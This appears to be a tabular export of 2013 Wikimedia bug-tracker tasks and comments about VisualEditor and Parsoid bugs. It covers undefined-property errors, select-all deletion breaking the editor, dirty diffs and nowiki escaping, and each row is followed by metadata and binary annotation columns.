+> Now I assume we'll need to do it manually as
+>   if (typeof content !== ""undefined"" && content !== null && content.params) {
+>     ...
+>   }
+It's much easier than that, you can just do if ( content && content.params ) . No need to use typeof and string comparisons and all that :)
+
+Really, though, content shouldn't be undefined in the first place.",,,1375141400,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,1
+245080,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","> > >      if (content.params) {
+
+If we had used coffescript instead of plain JS, it would be so simple to write that as:
+ if content?.params
+   ...
+
+Now I assume we'll need to do it manually as
+  if (typeof content !== ""undefined"" && content !== null && content.params) {
+    ...
+  }",,,1375047772,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+245075,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","1. Insert Transclusion
+2. Ignore ""New template"" panel in the dialog and go to ""+ [] Add content""
+3. Type ""x""
+4. Apply changes
+5. > Uncaught TypeError: content is undefined
+http://bits.wikimedia.org/static-1.22wmf11/extensions/VisualEditor/modules/ve-mw/dm/nodes/ve.dm.MWTransclusionNode.js:192
+
+>    ve.dm.MWTransclusionNode.prototype.getWikitext = function() {
+>        var i, len, part, template, param, content = this.getAttribute('mw'), wikitext = '';
+> >      if (content.params) {
+>            content = {'parts': [{'template': content}]};
+>        }
+
+Uncaught TypeError: Cannot read property 'params' of undefined
+ve.dm.MWTransclusionNode.getWikitext
+ve.ce.MWTransclusionNode.generateContents
+ve.ce.GeneratedContentNode.onUpdate
+VeCeGeneratedContentNode
+VeCeMWTransclusionNode
+VeCeMWTransclusionInlineNode
+ve.Factory.create
+ve.ce.BranchNode.onSplice
+ve.ce.ContentBranchNode.onSplice
+oo.EventEmitter.emit
+ve.dm.BranchNode.splice
+ve.insertIntoArray
+ve.dm.Document.rebuildNodes
+ve.dm.DocumentSynchronizer.synchronizers.rebuild
+ve.dm.DocumentSynchronizer.synchronize
+ve.dm.TransactionProcessor.process
+ve.dm.Document.commit
+ve.dm.Surface.change
+ve.dm.SurfaceFragment.insertContent
+ve.ui.MWTransclusionDialog.onClose
+ve.ui.Window.close
+(anonymous function)
+proxy",,,1375045603,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+54169,VisualEditor doesn't confirm closing window,"Unlike the standard source editing windows, VE doesn't confirm closing the page if you have made changes, making it very easy to accidentally close a tab and lose all of your edits.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374988380,1390417310.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-nuh252st2e54ff56mbpe,task_description,declined,True,c1,3,False,False,False,3,,1,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+243401,VisualEditor doesn't confirm closing window,Yeah I can confirm as well. Not sure when it started working again.,,,1390434737,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-nuh252st2e54ff56mbpe,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0
+243398,VisualEditor doesn't confirm closing window,"For the record: going to
+https://en.wikipedia.org/wiki/Mykola_Labovskyy?veaction=edit
+and typing anithing, and then closing the browser tab causes the warning ""Are you sure you want to go back to view mode without saving first?""",,,1390418026,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-nuh252st2e54ff56mbpe,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,0
+243394,VisualEditor doesn't confirm closing window,"I'm going to close this as WORKSFORME because it does (and always has), and the bug report gives no details of how to reproduce. Please re-open if you have steps to reproduce.
+
+Sorry for very slow triage.",,,1390417310,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nuh252st2e54ff56mbpe,task_subcomment,,True,c1,3,True,,,29,,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+54155,"VisualEditor: ""Wikitext markup detected"" message should disappear automatically when there's no more wikitext","""Wikitext markup detected"" message should disappear automatically when there's no more wikitext. Now the user must click it to make it go away.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374947400,1375381691.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-t6h3rucl4ojovdzxkq66,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0
+242535,"VisualEditor: ""Wikitext markup detected"" message should disappear automatically when there's no more wikitext","
+
+%%%*** This bug has been marked as a duplicate of bug 51701 ***%%%",,,1375381691,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-t6h3rucl4ojovdzxkq66,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+54125,"VisualEditor - Using ""Select all"" (Ctrl+a) and deleting the selected content afterwards leaves the document uneditable.","Tested on Firefox 22, Monobook and Vector skin. DOES NOT seem to affect Chrome 28 on Vector.
+
+Steps to reproduce:
+- Open the [[Olive Branch High School]] in the visual editor.
+- Press CTRL+A to select everything on the page.
+- Press Delete.
+
+The result will be that the entire document becomes uneditable since there is no editable section anymore that the user can click. The console will report the error:
+- ""TypeError: node is null""
+
+If you don't click anywhere else after pressing delete and start typing the visual editor will behave extremely wonkey. I have seen behavior that ranged from adding an unending steam of pawns to cursor focus jumping all over the page. Additionally, the console will fill with a hailstorm of errors (Below is just a small sample). 
+- Error: ve.dm.Document.getNodeFromOffset(): offset -1 is out of bounds 
+- TypeError: parent is null 
+- Error: Unbalanced set of replace operations found 
+- Error: Unbalanced input passed to document
+- Error: Invalid retain length, cannot retain backwards
+
+The above is likely just a consequence of the deletion . If i look at firebug's output it seems that Ctrl+A will delete these lines:
+
+<p data-parsoid=""{&quot;dsr&quot;:[0,45,0,0]}"" class=""ve-ce-branchNode"">
+<span class=""ve-ce-branchNode-slug ve-ce-branchNode-inlineSlug"">&#65279;</span></p>
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374877260,1375199198.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-3ew3gilga74djx2te24b,task_description,resolved,True,c1,3,False,False,True,3,,1,1,1,0,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+240932,"VisualEditor - Using ""Select all"" (Ctrl+a) and deleting the selected content afterwards leaves the document uneditable.","This is a duplicate of bug 50947 - merging.
+
+*** This bug has been marked as a duplicate of bug 50947 ***",,,1375199198,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ew3gilga74djx2te24b,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+240925,"VisualEditor - Using ""Select all"" (Ctrl+a) and deleting the selected content afterwards leaves the document uneditable.","On Firefox I can get pawns too, or keypresses causing the character to appear twice, if I do
+1. Control-A
+2. Delete
+3. type 'a'
+
+But the page becomes unusable if I follow these steps:
+1. Control-A
+2. Delete
+3. Click on the link icon, or anything else
+4. type a- doesnt work",,,1374905359,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3ew3gilga74djx2te24b,task_subcomment,,True,c1,3,False,,,3,,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+240917,"VisualEditor - Using ""Select all"" (Ctrl+a) and deleting the selected content afterwards leaves the document uneditable.","Slight alteration: Chrome 28 does seem to be affected after all, though the problem is less severe.
+
+(Chrome)
+- Open the [[Nodeulseom]] in the visual editor.
+- Press CTRL+A to select everything on the page.
+- Press Delete.
+
+Chrome will place a pawn (♙) in the article as soon as one starts typing after the deletion. Often this pawn is also a hyperlink. Firefox will behave in a similar fashion on this specific page.
+
+Both Chrome and Firefox report a single error in the console:
+""Error: Offset could not be translated to a DOM element and offset: 3""
+
+This is probably because the article in this instance isn't blanked entirely. Ctrl+a followed by delete doesn't seem to delete the categories present in the article.",,,1374880550,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-3ew3gilga74djx2te24b,task_subcomment,,True,c1,3,False,,,3,,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,1
+54124,VisualEditor or Parsoid: Breaks and partially duplicates html tag,"en.wp editor DragonsFlight reports a strange diff at https://en.wikipedia.org/w/index.php?title=Axial_precession&diff=next&oldid=565790907 where a <br clear=all> was duplicated minus the leading <
+
+Possibly related to bug 51304?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374877200,1379848985.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-oqjy24dqtbqambra54dm,task_description,declined,True,c1,3,False,False,True,3,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,1
+240895,VisualEditor or Parsoid: Breaks and partially duplicates html tag,"Can't reproduce; probably a transient Parsoid DSR and off-by-one error, given the issue. Marking as ""WORKSFORME"", but please re-open if it recurs or further information is available.",,,1379848985,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oqjy24dqtbqambra54dm,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+240890,VisualEditor or Parsoid: Breaks and partially duplicates html tag,"Given the proximity of the image, im guessing this is bug 52107.",,,1375737774,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-oqjy24dqtbqambra54dm,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+54116,VisualEditor - EditIntro is incorrectly linked in the monobook skin.,"(Tested on Firefox 22)
+
+It seems that the ""&editintro=Template:BLP_editintro"" URL is accidentally reversed on Monobook. 
+
+Steps to reproduce:
+(Vector - Working correctly)
+- Navigate to [[Martin J. Silverstein]].
+-- The ""Edit"" link will be: https://en.wikipedia.org/wiki/Martin_J._Silverstein?veaction=edit
+-- The ""Edit Source"" link will be: https://en.wikipedia.org/w/index.php?title=Martin_J._Silverstein&action=edit&editintro=Template:BLP_editintro
+
+(Monobook - Working incorrectly)
+- Navigate to [[Martin J. Silverstein]].
+-- The ""Edit"" link will be: https://en.wikipedia.org/wiki/Martin_J._Silverstein?veaction=edit&editintro=Template:BLP_editintro
+-- The ""Edit Source"" link will be: https://en.wikipedia.org/w/index.php?title=Martin_J._Silverstein&action=edit
+
+As far as i can see only the source editor can load a template when using the ""EditIntro"" parameter in the URL. In monobook, it seems that the EditIntro parameter is accidentally added to the Visual Editor link instead of the Edit Source link.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374873360,1385398255.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-jwf46mqjltex4ny7fpad,task_description,invalid,True,c1,3,False,False,False,3,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+240385,VisualEditor - EditIntro is incorrectly linked in the monobook skin.,"Marking as INVALID, as per standard practice for issues with on-wiki code. (Has this been fixed?)",,,1385398255,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jwf46mqjltex4ny7fpad,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0
+240378,VisualEditor - EditIntro is incorrectly linked in the monobook skin.,Confirming problem exists.  The fix probably needs to be made at [[MediaWiki:Common.js]],,,1374907792,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jwf46mqjltex4ny7fpad,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+54107,VisualEditor: image followed immediately with wikilink causes dirty diff,"See https://en.wikipedia.org/w/index.php?title=Karma_in_Hinduism&diff=564615505&oldid=564615290 and https://en.wikipedia.org/w/index.php?title=Karma_in_Hinduism&diff=565801063&oldid=565800169
+
+Reproduced at https://en.wikipedia.org/w/index.php?title=User:John_Vandenberg/test&diff=565853026&oldid=565852620, https://en.wikipedia.org/w/index.php?title=User:John_Vandenberg/test&diff=565853312&oldid=565853264
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374862080,1379847739.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-mx57agjpr44kackrkfz2,task_description,declined,True,c1,3,False,False,True,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239940,VisualEditor: image followed immediately with wikilink causes dirty diff,"Sorry for getting to this bug so late.
+
+I can't reproduce this bug at all. However, I have a number of confusions and questions about the bug report such that I don't know if that's because the bug has been fixed, was never present, or I just can't understand it… :-(
+
+""In VE, the image is not editable.""
+
+What does ""not editable"" mean? You can't move? Can't resize? Can't add a caption? Can't delete? Doesn't appear?
+
+""(note the diff is a mess)""
+
+Is it? What kind of mess? Details help a lot in a complex system so we can tell whether we can reproduce or not. Is the VE still the same VE that you had open in step 2 (with the changes made to the text line into ""abc def gh"", and the WT changes made in step 3 also made but in parallel to the edit)?
+
+See https://www.mediawiki.org/wiki/VisualEditor:Bug_52107 for my testing page.
+
+Am provisionally marking this as ""WORKSFORME"", which is very unsatisfactory. :-( Happy to review if we can have further information.",,,1379847739,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mx57agjpr44kackrkfz2,task_subcomment,,True,c1,3,True,,,11,,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+239930,VisualEditor: image followed immediately with wikilink causes dirty diff,"Here is another case that looks similar:
+https://en.wikipedia.org/w/index.php?title=Persian_language&diff=prev&oldid=566108307",,,1375107801,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-mx57agjpr44kackrkfz2,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0
+239921,VisualEditor: image followed immediately with wikilink causes dirty diff,"Steps to reproduce:
+1. Create a page with
+
+""
+abc
+
+def gh
+
+[[File:Andrew-W.K.-The-Party-All-Goddamn-Night-EP-2011.jpg|thumb|right]][[Sambanthar|Thirugnana Sambanthar]] of the [[Shaiva Siddhanta]] school.
+""
+
+2. In VE, the image is not editable.  Place the cursor at 'c', press space and then delete: converting the first line to ""abc def gh"" - press save, review changes.
+
+(note that the diff looks good.  Do not save.)
+
+3. In Source Editor, after gh add ' ij' and save
+
+4. In VE, repeat step 2
+
+(note the diff is a mess)
+
+Confirmed any image does this; and tested in Chrome and Firefox.",,,1374903910,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-mx57agjpr44kackrkfz2,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1
+239917,VisualEditor: image followed immediately with wikilink causes dirty diff,"This looks like a string buffer problem, as it inserts different pieces of text into the same spot.  And it appears to only happen every second edit.
+
+https://en.wikipedia.org/w/index.php?title=User:John_Vandenberg/test&action=history&offset=20130727021955&limit=4
+
+The testcase is  fairly small now
+https://en.wikipedia.org/wiki/User:John_Vandenberg/test
+
+My process for reproducing the bug is to open the page in VE, merge the first two paragraphs (i.e. bring 'other Hindu views' up to the 'and').  Review.
+If that doesnt trigger it, edit source, remove a word further down in the page, save, and remove the process in VE.",,,1374892576,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-mx57agjpr44kackrkfz2,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+54103,Missing nowiki escaping when single quotes wrap new i/b tags,"Reported at: https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Link_formatting_trick
+
+Simplified test cases here:
+
+[subbu@earth lib] echo ""[[Foo|'foo']]"" | node parse | sed ""s/foo/<i>foo<\/i>/g;"" | node parse --html2wt
+[[Foo|'''foo''']]
+
+[subbu@earth lib] echo ""[[Foo|'foo']]"" | node parse | sed ""s/foo/<b>foo<\/b>/g;"" | node parse --html2wt
+[[Foo|''''foo'''']]
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374857700,1375305913.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-pxbsw644f45j6giahmh5,task_description,resolved,True,c1,3,True,False,True,3,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+239734,Missing nowiki escaping when single quotes wrap new i/b tags,Deployed and tested in production.,,,1375305913,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-pxbsw644f45j6giahmh5,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+239730,Missing nowiki escaping when single quotes wrap new i/b tags,"Change 76467 merged by jenkins-bot:
+Take #2: (Bug 52103) nowiki escaping when quotes surround i/b tags
+
+https://gerrit.wikimedia.org/r/76467",,,1375108318,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxbsw644f45j6giahmh5,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+239726,Missing nowiki escaping when single quotes wrap new i/b tags,"Change 76467 had a related patch set uploaded by Subramanya Sastry:
+Take #2: (Bug 52103) nowiki escaping when quotes surround i/b tags
+
+https://gerrit.wikimedia.org/r/76467",,,1375070667,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxbsw644f45j6giahmh5,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+239719,Missing nowiki escaping when single quotes wrap new i/b tags,"Change 76162 merged by jenkins-bot:
+(Bug 52103) <nowiki/> escape when single quotes wrap new i/b tags
+
+https://gerrit.wikimedia.org/r/76162",,,1374946378,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxbsw644f45j6giahmh5,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+239713,Missing nowiki escaping when single quotes wrap new i/b tags,"Change 76162 had a related patch set uploaded by Subramanya Sastry:
+(Bug 52103) <nowiki/> escape when single quotes wrap new i/b tags
+
+https://gerrit.wikimedia.org/r/76162",,,1374870985,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxbsw644f45j6giahmh5,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+54086,User preference to disable VisualEditor (VE product),"This bug is about the generalisation of the solution deployed in bug #50929 in the Wikimedia environment. Having in mind the medium term of the deployment of the VisualEditor in many/most of the MediaWiki wikis, it could be a good idea to give the sysadmins the choice of enabling or disabling the VisualEditor by default for registrated users, with a LocalSettings parameter wgVisualEditorDefault.
+
+This would give the choice to the sysadmins to enable by default or not the VE for registrated users (for anons there is already the preference wgVisualEditorDisableForAnons), and this could be directly used in the Wikimedia environment to replace the parameter $wmgVisualEditorDefault.
+
+To resolve this bug, the patch https://gerrit.wikimedia.org/r/#/c/75541/ could be generalised by renaming the new preference ""visualeditor-betatempdisable"" into ""visualeditor-preference-disable"", and depending of the variable wgVisualEditorDefault either the positive preference (for alpha/beta environments, ""Enable the VE"") or the negative preference (for production environments, ""Disable the VE"") would be used, the other preference being hidden with wgHiddenPrefs.
+
+In the normal scenario the wiki change from beta to production environment, it would be easy for the sysadmin to change the wgVisualEditorDefault value from false to true and this would automatically activate the VE during the change, so that the users are aware of the new setting and have the possibility of seeing the new editor (some welcoming message could be displayed then) and if users don’t like it they are given the possibility to disable it (or not if the relevant preference is hidden, but this is a sysadmin/community choice).
+
+I point out the default messages visualeditor-preference-enable/disable should have a general-wiki phrasing, and any Wikimedia customisation (about namespaces where it is enabled, about the time the parameter is available before possibly hide the preference) should be customised in the WikimediaMessages extension (see my comment https://bugzilla.wikimedia.org/show_bug.cgi?id=50929#c34 ).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
